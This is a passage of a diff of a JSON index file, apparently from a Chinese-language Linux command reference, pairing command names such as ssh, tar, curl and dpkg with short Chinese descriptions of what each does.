sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telint":{"n":"telint","p":"/telint","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","